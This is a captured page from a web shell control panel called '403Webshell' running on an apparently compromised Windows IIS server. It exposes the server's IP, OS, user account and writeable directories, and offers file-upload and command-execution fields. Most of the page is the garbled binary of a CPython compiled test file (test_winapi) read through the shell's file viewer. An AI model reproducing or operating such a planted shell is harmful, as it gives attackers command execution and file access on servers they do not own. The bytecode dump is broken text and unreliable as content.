403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.145
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_winapi.cpython-313.opt-2.pyc
�

��i�����SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJrJ	r	 \R"SS/S9rSr\S-
S-r
"S	S
\R5r"SS\R5rg)
�N)�
import_helper�	os_helper�_winapi�win)�required_on�@��c�D�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�(WinAPIBatchedWaitForMultipleObjectsTests�c	��[U5Vs/sHn[RSSSS5PM nnUR[5 [RUSS5 SSS5 UHn[R
U5 M [RUSS5 [S5Vs/sHoU[U5S--PM nnUHDnX5nSX5'UR[5 [RUSS5 SSS5 XsU'MF gs snf!,(df   N�=f![a URS5 N�f=fs snf!,(df   NS=f)NrFT�dz%expected wait to complete immediately����)
�ranger�CreateEventW�assertRaises�TimeoutError�BatchedWaitForMultipleObjects�SetEvent�fail�len�OSError)�self�n�_�evts�e�i�chosen�old_evts        �%C:\Python313\\Lib\test\test_winapi.py�_events_waitall_test�=WinAPIBatchedWaitForMultipleObjectsTests._events_waitall_tests#��EJ�1�X�N�X���$�$�Q��u�d�;�X��N�
�
�
�|�
,��1�1�$��c�B�-��A����Q���	?��1�1�$��c�B�16�a��9��1�s�4�y�A�~�&���9��A��g�G��D�G��"�"�7�+��5�5�d�D�#�F�,���G���%O�
,�
,���	?��I�I�=�>�	?��
:�,�+�s5�"D�D�D'�*E�(E
�
D$�'E�E�
E	c	���[U5Vs/sHn[RSSSS5PM nnUR[5 [RUSS5 SSS5 [S5Vs/sHoD[
U5S--PM nnUHvnURSUS[
U535 [RX45 [RUSS5nUR[U5U15 SSS5 Mx UHn[RX45 M [5n[
U5[
U5:a@UR[RUSS55 [
U5[
U5:aM@URU[U55 UHmnURSUS[
U535 X4nS	X4'UR[5 [RUSS5 SSS5 XsU'SSS5 Mo gs snf!,(df   GN�=fs snf!,(df   GM�=f!,(df   NN=f!,(df   M�=f)
NrFrrztrigger event z of i'zcorrupt event r)
rrrrrrr�subTestr�assertSetEqual�set�updater)rrrrr r!�	triggeredr"s        r#�_events_waitany_test�=WinAPIBatchedWaitForMultipleObjectsTests._events_waitany_test-s���EJ�1�X�N�X���$�$�Q��u�d�;�X��N�
�
�
�|�
,��1�1�$��s�C�-�
16�a��9��1�s�4�y�A�~�&���9��A�����q�c��c�$�i�[�A�B�� � ���)�#�A�A�$��u�U�	��#�#�C�	�N�Q�C�8�C�B���A����T�W�%���E�	��)�n�s�6�{�*����W�B�B�4��PU�V�W��)�n�s�6�{�*����I�s�6�{�3��A�����q�c��c�$�i�[�A�B��'������&�&�w�/��9�9�$��s�K�0�!�Q��C�B���3O�
,�
,��
:�C�B��$0�/��C�B�sH�"H�H"�4H4�5AH9�I�,I�I�"
H1�9
I		�
I�I�
I,	c�&�URS5 g�N��r$�rs r#�test_few_events_waitall�@WinAPIBatchedWaitForMultipleObjectsTests.test_few_events_waitallP����!�!�"�%�c�&�URS5 g�N�r1r2s r#�test_many_events_waitall�AWinAPIBatchedWaitForMultipleObjectsTests.test_many_events_waitallS����!�!�#�&r6c�.�UR[5 g�N)r$�MAXIMUM_BATCHED_WAIT_OBJECTSr2s r#�test_max_events_waitall�@WinAPIBatchedWaitForMultipleObjectsTests.test_max_events_waitallV����!�!�">�?r6c�&�URS5 gr/�r,r2s r#�test_few_events_waitany�@WinAPIBatchedWaitForMultipleObjectsTests.test_few_events_waitanyZr5r6c�&�URS5 gr8rDr2s r#�test_many_events_waitany�AWinAPIBatchedWaitForMultipleObjectsTests.test_many_events_waitany]r<r6c�.�UR[5 gr>)r,r?r2s r#�test_max_events_waitany�@WinAPIBatchedWaitForMultipleObjectsTests.test_max_events_waitany`rBr6�N)
�__name__�
__module__�__qualname__�__firstlineno__r$r,r3r:r@rErHrK�__static_attributes__rMr6r#rrs-���6 "�F&�'�@�&�'�@r6rc�&�\rSrSrSrSrSrSrg)�WinAPITestsrc�Z�[R"[R"S55RSS-n[R
R
U5(d[R"S5eUR[5 [RU5 SSS5 [R[R"U55n[URR!S55nUR#[R"U5U5 g!,(df   N�=f)N�ProgramFilesrzPROGRA~1zrequire x:\PROGRA~1 to testzProgra*)�pathlib�Path�os�getenv�parents�path�isdir�unittest�SkipTestr�	TypeErrorr�GetLongPathName�fsdecoder)�parent�glob�assertIn)r�testfn�actual�
candidatess    r#�test_getlongpathname� WinAPITests.test_getlongpathnamees������b�i�i��7�8�@�@��D�z�Q���w�w�}�}�V�$�$��#�#�$B�C�C��
�
�y�
)��#�#�F�+�*��(�(����V�)<�=������+�+�I�6�7�
��
�
�g�l�l�6�*�J�7�*�
)�s�
D�
D*c��[R"[R"S55n[RRU5(d[R"S5eUR[5 [RU5 SSS5 [R[R"U55nUR[R"SUR!55U5 g!,(df   Nm=f)NrVz require '%ProgramFiles%' to testz.\:\\PROGRA~\d)rWrXrYrZr\r]r^r_rr`r�GetShortPathNamerb�assertIsNotNone�re�match�upper)rrfrgs   r#�test_getshortpathname�!WinAPITests.test_getshortpathnameus������b�i�i��7�8���w�w�}�}�V�$�$��#�#�$F�G�G��
�
�y�
)��$�$�V�,�*��)�)�"�+�+�f�*=�>��	
���R�X�X�&7�����H�&�Q�
*�
)�s�:C7�7
Dc
��S[R3nUR[5 [RUS5 SSS5 [R
U[RSSSSSS5nUR[RU5 [RUS5 [US5nUR[5 [RUS5 SSS5 [RUS5 URSURS55 URS[RUS5SS5 UR!S5 UR#5 URS	[RUS5SS5 SSS5 g!,(df   GNc=f!,(df   N�=f!,(df   g=f)
Nz\\.\pipe\LOCAL\rrr
� zw+b�testdata)r6r)rur)r�TESTFNr�FileNotFoundErrorr�
WaitNamedPipe�CreateNamedPipe�PIPE_ACCESS_DUPLEX�
addCleanup�CloseHandle�openr�	WriteFile�assertEqual�read�
PeekNamedPipe�write�flush)r�	pipe_name�pipe�pipe2s    r#�test_namedpipe�WinAPITests.test_namedpipe�sl��&�y�'7�'7�&8�9�	��
�
�0�
1��!�!�)�Q�/�2��&�&���&�&�
�
���A�q���	
����+�+�T�2�	���i��+�
�)�U�
#�u��"�"�7�+��%�%�i��3�,�
���d�K�0����[�%�*�*�Q�-�8����X�w�'<�'<�T�1�'E�b�q�'I�J��K�K��$��K�K�M����-�w�/D�/D�T�1�/M�b�q�/Q�R�$�
#�2�
1��",�+��$�
#�s0�F�4F?�
F.�!B2F?�
F+�.
F<	�8F?�?
G
rMN)rNrOrPrQrirqr�rRrMr6r#rTrTds��8� R�Sr6rT)rYrW�randomrn�	threading�timer^�test.supportrr�
import_moduler�MAXIMUM_WAIT_OBJECTSr?�TestCaserrTrMr6r#�<module>r�st��
��
�	����1�
�
%�
%�i�e�W�
E���� 4�q� 8�Q�>��P@�x�/@�/@�P@�f=S�(�#�#�=Sr6

Youez - 2016 - github.com/yon3zu
LinuXploit